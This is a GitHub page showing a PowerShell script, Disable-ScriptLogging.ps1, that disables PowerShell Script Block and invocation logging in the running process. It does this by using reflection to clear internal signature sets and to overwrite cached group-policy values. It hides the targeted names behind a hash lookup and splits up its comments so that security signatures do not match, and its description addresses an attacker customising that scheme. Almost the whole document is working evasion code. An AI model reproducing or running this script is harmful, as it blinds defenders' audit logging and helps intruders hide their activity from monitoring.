-
-
Notifications
You must be signed in to change notification settings - Fork 511
/
Copy pathDisable-ScriptLogging.ps1
151 lines (123 loc) · 5.3 KB
/
Disable-ScriptLogging.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#requires -version 5
<#
.SYNOPSIS
Attempts to disable Script Block logging within current process using well-known techniques laid out in an unsignatured way.
Author: Mariusz Banach (@mgeeky)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in
an approach to avoid signatured or otherwise considered harmful keywords.
Notice: These techniques only disable Script Block logging within current process context. Tricks implemented
are not system-wide and not permament.
Using a hash-lookup approach when determining prohibited symbol names, we are able
to avoid relying on blacklisted values and having them hardcoded within the script.
This implementation iterates over all of the assemblies, their exposed types, methods and
fields in order to find those that are required but by their computed hash-value rather than
direct name. Since hash-value computation algorithm was open-sources and is simple to
manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes.
A simplest approach to alter return values coming out of Get-Hash would be to change the
initial value of $val variable.
The script comes up with several techniques implemented. Triggers them one by one. Should one
return successfully, the script is going to finish it's execution.
The approaches implemented in this script heavily rely on the previous work of:
- Ryan Cobb: https://cobbr.io/ScripXXXtBlock-Logging-BypXXXass.html
- Ryan Cobb: https://cobbr.io/ScriptXXXBlock-Warning-Event-Logging-BypXXXass.html
.EXAMPLES
PS> Disable-ScriptLogging
#>
function Disable-ScriptLogging
{
function bitshift
{
param(
[Parameter(Mandatory,Position=0)]
[long]$x,
[Parameter(ParameterSetName='Left')]
[ValidateRange(0,[int]::MaxValue)]
[int]$Left,
[Parameter(ParameterSetName='Right')]
[ValidateRange(0,[int]::MaxValue)]
[int]$Right
)
$shift = if($PSCmdlet.ParameterSetName -eq 'Left')
{
$Left
}
else
{
-$Right
}
$ret = [math]::Floor($x * [math]::Pow(2,$shift))
return [System.Convert]::TOUInt32($ret -band ([uint32]::MaxValue))
}
function Get-Hash
{
param(
[Parameter(Mandatory = $true)]
[AllowEmptyString()]
[string]$name
)
if ($name.Length -eq 0)
{
return 0
}
$name = $name.ToLower();
$val = 5381
for($i = 0; $i -lt $name.Length; $i++)
{
$n = bitshift $val -left 5
$val = ($n + $val) + [byte][char]$name[$i]
}
return $val
}
function ScriptLogging-Technique1
{
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)}
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 12579468197}
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 12250760746}
$out = $foo.GetValue($null)
$k0 = ""
foreach ($item in $out){
if((Get-Hash($item)) -eq 32086076268) { # ScrXiptBloXckLogXging
$k0 = $item
break
}
}
$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
Write-Host "[+] Finished applying technique 1"
return $k0
}
function ScriptLogging-Technique2($k0)
{
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 4572158998} # UXtils
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 52485150955} # caXchedGrXoupPoXlicySettXings
if(-not $foo -or $foo -eq $null) {
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 56006640029} # s_caXchedGrXoupPoXlicySettXings
}
if($foo) {
$cache = $foo.GetValue($null)
$k1 = $cache.Keys | ? {(Get-Hash($_.Split('\\')[-1])) -eq 32086076268} # ScrXiptBloXckLogXging
if($k1 -and $cache[$k1]) {
$k2 = $cache[$k1].Keys | ? {(Get-Hash($_)) -eq 45083803091} # EnabXleScrXiptBloXckLogXging
$k3 = $cache[$k1].Keys | ? {(Get-Hash($_)) -eq 70211596397} # EnabXleScrXiptBloXckInvocXationLogXging
if($k2 -and $cache[$k1][$k2]) {
$cache[$k1][$k2] = 0
}
if($k3 -and $cache[$k1][$k3]) {
$cache[$k1][$k3] = 0
}
}
$vl = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$vl.Add('Enabl'+'e'+$k0, 0)
$k01 = $k0 -replace 'kL', 'kInvocationL'
$vl.Add('Ena'+'ble'+$k01, 0)
$cache['HKEY_LOCAL_M'+'ACHINE\Software\Policie'+'s\Microsoft\Wind'+'ows\PowerSh'+'ell\'+$k0] = $vl
}
Write-Host "[+] Finished applying technique 2"
}
$out = ScriptLogging-Technique1
ScriptLogging-Technique2 $out
}